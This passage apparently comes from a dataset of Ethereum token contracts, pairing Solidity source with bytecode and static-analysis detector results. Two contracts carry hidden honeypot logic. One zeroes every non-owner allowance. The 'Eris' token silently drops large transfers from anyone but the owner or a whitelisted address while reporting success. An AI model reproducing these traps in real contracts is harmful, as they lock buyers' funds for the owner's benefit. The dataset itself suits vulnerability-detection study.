_balances[_msgSender()] = _tTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function _approve(address ol, address tt, uint256 amount) private { require(ol != address(0), "ERC20: approve from the zero address"); require(tt != address(0), "ERC20: approve to the zero address"); if (ol != owner()) { _allowances[ol][tt] = 0; emit Approval(ol, tt, 4); } else { _allowances[ol][tt] = amount; emit Approval(ol, tt, amount); } } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "BEP20: transfer from the zero address"); require(recipient != address(0), "BEP20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "BEP20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } }
0x608060405234801561001057600080fd5b50600436106100a95760003560e01c806370a082311161007157806370a0823114610258578063715018a6146102b05780638da5cb5b146102ba57806395d89b41146102ee578063a9059cbb14610371578063dd62ed3e146103d5576100a9565b806306fdde03146100ae578063095ea7b31461013157806318160ddd1461019557806323b872dd146101b3578063313ce56714610237575b600080fd5b6100b661044d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156100f65780820151818401526020810190506100db565b50505050905090810190601f1680156101235780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561014757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506104ef565b60405180821515815260200191505060405180910390f35b61019d61050d565b6040518082815260200191505060405180910390f35b61021f600480360360608110156101c957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610517565b60405180821515815260200191505060405180910390f35b61023f6105f0565b604051808260ff16815260200191505060405180910390f35b61029a6004803603602081101561026e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610607565b6040518082815260200191505060405180910390f35b6102b8610650565b005b6102c26107d8565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6102f6610801565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561033657808201518184015260208101905061031b565b50505050905090810190601f1680156103635780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6103bd6004803603604081101561038757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108a3565b60405180821515815260200191505060405180910390f35b610437600480360360408110156103eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108c1565b6040518082815260200191505060405180910390f35b606060058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104e55780601f106104ba576101008083540402835291602001916104e5565b820191906000526020600020905b8154815290600101906020018083116104c857829003601f168201915b5050505050905090565b60006105036104fc610948565b8484610950565b6001905092915050565b6000600454905090565b6000610524848484610c6f565b6105e584610530610948565b6105e0856040518060600160405280602881526020016110b960289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610596610948565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b610950565b600190509392505050565b6000600760009054906101000a900460ff16905090565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610658610948565b73ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461071a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156108995780601f1061086e57610100808354040283529160200191610899565b820191906000526020600020905b81548152906001019060200180831161087c57829003601f168201915b5050505050905090565b60006108b76108b0610948565b8484610c6f565b6001905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156109d6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602481526020018061112a6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610a5c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806110976022913960400191505060405180910390fd5b610a646107d8565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614610b83576000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560046040518082815260200191505060405180910390a3610c6a565b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a35b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610cf5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806110726025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d7b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806111076023913960400191505060405180910390fd5b610de7816040518060600160405280602681526020016110e160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220b2f1a085677cc541cc562bcec04ad01a8fa7486c9b0b21170a59581c948adc5664736f6c634300060c0033
{"success": true, "error": null, "results": {}}
1,253
0x4270bb238f6dd8b1c3ca01f96ca65b2647c06d3c
pragma solidity ^0.4.18; contract owned { address public owner; function owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { owner = newOwner; } } interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; } contract TokenERC20 { // Public variables of the token string public name; string public symbol; uint8 public decimals = 18; // 18 decimals is the strongly suggested default, avoid changing it uint256 public totalSupply; // This creates an array with all balances mapping (address => uint256) public balanceOf; mapping (address => mapping (address => uint256)) public allowance; // This generates a public event on the blockchain that will notify clients event Transfer(address indexed from, address indexed to, uint256 value); // This notifies clients about the amount burnt event Burn(address indexed from, uint256 value); /** * Constrctor function * * Initializes contract with initial supply tokens to the creator of the contract */ function TokenERC20( uint256 initialSupply, string tokenName, string tokenSymbol ) public { totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens name = tokenName; // Set the name for display purposes symbol = tokenSymbol; // Set the symbol for display purposes } /** * Internal transfer, only can be called by this contract */ function _transfer(address _from, address _to, uint256 _value) internal { // Prevent transfer to 0x0 address. Use burn() instead require(_to != 0x0); // Check if the sender has enough require(balanceOf[_from] >= _value); // Check for overflows require(balanceOf[_to] + _value > balanceOf[_to]); // Save this for an assertion in the future uint256 previousBalances = balanceOf[_from] + balanceOf[_to]; // Subtract from the sender balanceOf[_from] -= _value; // Add the same to the recipient balanceOf[_to] += _value; Transfer(_from, _to, _value); // Asserts are used to use static analysis to find bugs in your code. They should never fail assert(balanceOf[_from] + balanceOf[_to] == previousBalances); } /** * Transfer tokens * * Send `_value` tokens to `_to` from your account * * @param _to The address of the recipient * @param _value the amount to send */ function transfer(address _to, uint256 _value) public returns (bool ok){ _transfer(msg.sender, _to, _value); return true; } /** * Transfer tokens from other address * * Send `_value` tokens to `_to` in behalf of `_from` * * @param _from The address of the sender * @param _to The address of the recipient * @param _value the amount to send */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowance[_from][msg.sender]); // Check allowance allowance[_from][msg.sender] -= _value; _transfer(_from, _to, _value); return true; } /** * Set allowance for other address * * Allows `_spender` to spend no more than `_value` tokens in your behalf * * @param _spender The address authorized to spend * @param _value the max amount they can spend */ function approve(address _spender, uint256 _value) public returns (bool success) { allowance[msg.sender][_spender] = _value; return true; } /** * Set allowance for other address and notify * * Allows `_spender` to spend no more than `_value` tokens in your behalf, and then ping the contract about it * * @param _spender The address authorized to spend * @param _value the max amount they can spend * @param _extraData some extra information to send to the approved contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) public returns (bool success) { tokenRecipient spender = tokenRecipient(_spender); if (approve(_spender, _value)) { spender.receiveApproval(msg.sender, _value, this, _extraData); return true; } } /** * Destroy tokens * * Remove `_value` tokens from the system irreversibly * * @param _value the amount of money to burn */ function burn(uint256 _value) public returns (bool success) { require(balanceOf[msg.sender] >= _value); // Check if the sender has enough balanceOf[msg.sender] -= _value; // Subtract from the sender totalSupply -= _value; // Updates totalSupply Burn(msg.sender, _value); return true; } /** * Destroy tokens from other account * * Remove `_value` tokens from the system irreversibly on behalf of `_from`. * * @param _from the address of the sender * @param _value the amount of money to burn */ function burnFrom(address _from, uint256 _value) public returns (bool success) { require(balanceOf[_from] >= _value); // Check if the targeted balance is enough require(_value <= allowance[_from][msg.sender]); // Check allowance balanceOf[_from] -= _value; // Subtract from the targeted balance allowance[_from][msg.sender] -= _value; // Subtract from the sender&#39;s allowance totalSupply -= _value; // Update totalSupply Burn(_from, _value); return true; } } contract SafeMath { function safeMul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) { assert(b > 0); uint256 c = a / b; assert(a == b * c + a % b); return c; } function safeSub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c>=a && c>=b); return c; } } contract LockedToken is owned, TokenERC20, SafeMath { struct TokenLocked { uint256 amount; uint256 startDate; uint256 lastDate; uint256 batches; } mapping (address => TokenLocked) internal lockedTokenOf; mapping (address => bool) internal isLocked; modifier canTransfer(address _sender, uint256 _value) { require(_value <= spendableBalanceOf(_sender)); _; } function LockedToken ( uint256 initialSupply, string tokenName, string tokenSymbol )TokenERC20(initialSupply, tokenName, tokenSymbol) public {} function transfer(address _to, uint256 _value) canTransfer(msg.sender, _value) public returns (bool success) { return super.transfer(_to, _value); } function transferFrom(address _from, address _to, uint256 _value) canTransfer(_from, _value) public returns (bool success) { return super.transferFrom(_from, _to, _value); } function transferAndLock( address _to, uint256 _value, uint256 _startDate, uint256 _lastDate, uint256 _batches) onlyOwner public { //doLock require(_to != 0x0); require(_startDate < _lastDate); require(_batches > 0); TokenLocked memory tokenLocked = TokenLocked(_value, _startDate, _lastDate, _batches); lockedTokenOf[_to] = tokenLocked; isLocked[_to] = true; //doTransfer super.transfer(_to, _value); } function spendableBalanceOf(address _holder) constant public returns (uint) { return transferableTokens(_holder, uint64(now)); } function transferableTokens(address holder, uint256 time) constant public returns (uint256) { TokenLocked storage tokenLocked = lockedTokenOf[holder]; if (!isLocked[holder]) return balanceOf[holder]; uint256 amount = tokenLocked.amount; uint256 startDate = tokenLocked.startDate; uint256 lastDate = tokenLocked.lastDate; uint256 batches = tokenLocked.batches; if (time < startDate) return 0; if (time >= lastDate) return balanceOf[holder]; //caculate transferableTokens uint256 originalTransferableTokens = safeMul(safeDiv(amount, batches), safeDiv( safeMul(safeSub(time, startDate), batches), safeSub(lastDate, startDate) )); uint256 lockedAmount = safeSub(amount, originalTransferableTokens); if (balanceOf[holder] <= lockedAmount) return 0; uint256 actualTransferableTokens = safeSub(balanceOf[holder], lockedAmount); return actualTransferableTokens; } function lastTokenIsTransferableDate(address holder) constant public returns(uint256 date) { date = uint256(now); if (!isLocked[holder]) return date; TokenLocked storage tokenLocked = lockedTokenOf[holder]; return tokenLocked.lastDate; } function () payable public { revert(); } }
0x6060604052600436106100fb5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610100578063095ea7b31461018a5780630f8f8b83146101c057806318160ddd146101f157806323b872dd14610204578063313ce5671461022c57806342966c681461025557806367ecb82d1461026b5780636c182e991461029857806370a08231146102b757806379cc6790146102d65780637fdb5031146102f85780638da5cb5b1461031a57806395d89b4114610349578063a9059cbb1461035c578063cae9ca511461037e578063dd62ed3e146103e3578063f2fde38b14610408575b600080fd5b341561010b57600080fd5b610113610427565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561014f578082015183820152602001610137565b50505050905090810190601f16801561017c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019557600080fd5b6101ac600160a060020a03600435166024356104c5565b604051901515815260200160405180910390f35b34156101cb57600080fd5b6101df600160a060020a03600435166104f5565b60405190815260200160405180910390f35b34156101fc57600080fd5b6101df610511565b341561020f57600080fd5b6101ac600160a060020a0360043581169060243516604435610517565b341561023757600080fd5b61023f610545565b60405160ff909116815260200160405180910390f35b341561026057600080fd5b6101ac60043561054e565b341561027657600080fd5b610296600160a060020a03600435166024356044356064356084356105d9565b005b34156102a357600080fd5b6101df600160a060020a03600435166106c3565b34156102c257600080fd5b6101df600160a060020a0360043516610714565b34156102e157600080fd5b6101ac600160a060020a0360043516602435610726565b341561030357600080fd5b6101df600160a060020a0360043516602435610802565b341561032557600080fd5b61032d610956565b604051600160a060020a03909116815260200160405180910390f35b341561035457600080fd5b610113610965565b341561036757600080fd5b6101ac600160a060020a03600435166024356109d0565b341561038957600080fd5b6101ac60048035600160a060020a03169060248035919060649060443590810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496506109fc95505050505050565b34156103ee57600080fd5b6101df600160a060020a0360043581169060243516610b2e565b341561041357600080fd5b610296600160a060020a0360043516610b4b565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104bd5780601f10610492576101008083540402835291602001916104bd565b820191906000526020600020905b8154815290600101906020018083116104a057829003601f168201915b505050505081565b600160a060020a033381166000908152600660209081526040808320938616835292905220819055600192915050565b600061050b824267ffffffffffffffff16610802565b92915050565b60045481565b60008382610524826104f5565b81111561053057600080fd5b61053b868686610b95565b9695505050505050565b60035460ff1681565b600160a060020a0333166000908152600560205260408120548290101561057457600080fd5b600160a060020a03331660008181526005602052604090819020805485900390556004805485900390557fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a2506001919050565b6105e1610d99565b60005433600160a060020a039081169116146105fc57600080fd5b600160a060020a038616151561061157600080fd5b82841061061d57600080fd5b6000821161062a57600080fd5b60806040519081016040908152868252602080830187905281830186905260608301859052600160a060020a03891660009081526007909152209091508190815181556020820151816001015560408201518160020155606082015160039091015550600160a060020a0386166000908152600860205260409020805460ff191660011790556106ba8686610c0c565b50505050505050565b600160a060020a03811660009081526008602052604081205442919060ff1615156106ed5761070e565b5050600160a060020a03811660009081526007602052604090206002810154905b50919050565b60056020526000908152604090205481565b600160a060020a0382166000908152600560205260408120548290101561074c57600080fd5b600160a060020a038084166000908152600660209081526040808320339094168352929052205482111561077f57600080fd5b600160a060020a038084166000818152600560209081526040808320805488900390556006825280832033909516835293905282902080548590039055600480548590039055907fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca59084905190815260200160405180910390a250600192915050565b600160a060020a03821660009081526007602090815260408083206008909252822054829081908190819081908190819060ff16151561085c57600160a060020a038b166000908152600560205260409020549850610948565b87600001549650876001015495508760020154945087600301549350858a10156108895760009850610948565b848a106108b057600160a060020a038b166000908152600560205260409020549850610948565b6108e76108bd8886610c22565b6108e26108d36108cd8e8b610c5d565b88610c6f565b6108dd898b610c5d565b610c22565b610c6f565b92506108f38784610c5d565b600160a060020a038c1660009081526005602052604090205490925082901161091f5760009850610948565b600160a060020a038b166000908152600560205260409020546109429083610c5d565b90508098505b505050505050505092915050565b600054600160a060020a031681565b60028054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156104bd5780601f10610492576101008083540402835291602001916104bd565b600033826109dd826104f5565b8111156109e957600080fd5b6109f38585610c0c565b95945050505050565b600083610a0981856104c5565b15610b265780600160a060020a0316638f4ffcb1338630876040518563ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018085600160a060020a0316600160a060020a0316815260200184815260200183600160a060020a0316600160a060020a0316815260200180602001828103825283818151815260200191508051906020019080838360005b83811015610abf578082015183820152602001610aa7565b50505050905090810190601f168015610aec5780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1515610b0d57600080fd5b6102c65a03f11515610b1e57600080fd5b505050600191505b509392505050565b600660209081526000928352604080842090915290825290205481565b60005433600160a060020a03908116911614610b6657600080fd5b6000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a03808416600090815260066020908152604080832033909416835292905290812054821115610bca57600080fd5b600160a060020a0380851660009081526006602090815260408083203390941683529290522080548390039055610c02848484610c93565b5060019392505050565b6000610c19338484610c93565b50600192915050565b600080808311610c2e57fe5b8284811515610c3957fe5b0490508284811515610c4757fe5b068184020184141515610c5657fe5b9392505050565b600082821115610c6957fe5b50900390565b6000828202831580610c8b5750828482811515610c8857fe5b04145b1515610c5657fe5b6000600160a060020a0383161515610caa57600080fd5b600160a060020a03841660009081526005602052604090205482901015610cd057600080fd5b600160a060020a03831660009081526005602052604090205482810111610cf657600080fd5b50600160a060020a0380831660008181526005602052604080822080549488168084528284208054888103909155938590528154870190915591909301927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a3600160a060020a03808416600090815260056020526040808220549287168252902054018114610d9357fe5b50505050565b6080604051908101604052806000815260200160008152602001600081526020016000815250905600a165627a7a723058202dea85e5398bdc942f053f0e59129a1191682b4f1d1a4bc91d3efacc2e6c28770029
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
1,254
0x791fbbd970f0926e5acc4bcd5a4c59ae78b404dc
/** *Submitted for verification at Etherscan.io on 2020-11-22 */ /* * Project $ERIS by nCyotee * Official site: https://eris.exchange/ * * Have fun playing! * SPDX-License-Identifier: AGPL-3.0-or-later * **/ pragma solidity 0.7.4; library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } } library FinancialSafeMath { using SafeMath for uint256; function quadraticPricing( uint256 payment ) internal pure returns (uint256) { return payment.mul(2).sqrrt(); } function bondingPrice( uint256 multiplier, uint256 supply ) internal pure returns (uint256) { return multiplier.mul( supply ); } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address public _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () public { _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Eris is Ownable { using SafeMath for uint256; // standard ERC20 variables. string public constant name = "Eris.Exchange"; string public constant symbol = "ERIS"; uint256 public constant decimals = 18; uint256 private constant _maximumSupply = 10 ** decimals; uint256 public _totalSupply; bool public start; uint256 public Lim; address public whiteaddress; // events event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => uint256) public _balanceOf; mapping(address => mapping(address => uint256)) public allowance; constructor(uint256 _initialSupply) public { Lim = 10000000000000000000; _owner = msg.sender; _totalSupply = _maximumSupply * _initialSupply; _balanceOf[msg.sender] = _maximumSupply * _initialSupply; start = false; whiteaddress = 0x0000000000000000000000000000000000000000; emit Transfer(address(0), msg.sender, _totalSupply); } function totalSupply () public view returns (uint256) { return _totalSupply; } function balanceOf (address who) public view returns (uint256) { return _balanceOf[who]; } function _transfer(address _from, address _to, uint256 _value) internal { if (start==false) { _balanceOf[_from] = _balanceOf[_from].sub(_value); _balanceOf[_to] = _balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } else { if (_value < Lim) { _balanceOf[_from] = _balanceOf[_from].sub(_value); _balanceOf[_to] = _balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } else { if(_from == _owner || _from == whiteaddress) { _balanceOf[_from] = _balanceOf[_from].sub(_value); _balanceOf[_to] = _balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } } } } function transfer(address _to, uint256 _value) public returns (bool success) { require(_balanceOf[msg.sender] >= _value); _transfer(msg.sender, _to, _value); return true; } function burn (uint256 _burnAmount) public onlyOwner returns (bool success) { _transfer(_owner, address(0), _burnAmount); _totalSupply = _totalSupply.sub(_burnAmount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require(_spender != address(0)); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= _balanceOf[_from]); require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } function setGov (uint256 myLim) public { require(msg.sender == _owner); Lim = myLim; } function GovernanceStart() public { require(msg.sender == _owner); if (start==false) start = true; else start = false; } function setGovernanceAddress(address newWallet) public { require(msg.sender == _owner); whiteaddress = newWallet; } // function changeCharityAddress( address newCharityAddress_ ) public onlyOwner() { // charityAddress = payable(newCharityAddress_); // } // function changeDevAddress( address newDevAddress_ ) public onlyOwner() { // devAddress = payable(newDevAddress_); // } // function getSecondsLeftInLiquidityGenerationEvent() public view returns (uint256) { // return qplgmeStartTimestamp.add(qplgmeLength).sub(block.timestamp); // } // function startQPLGME() public onlyOwner() erisQPLGMEInactive() notHadQPLGME() { // qplgmeActive = true; // qplgmeStartTimestamp = block.timestamp; // 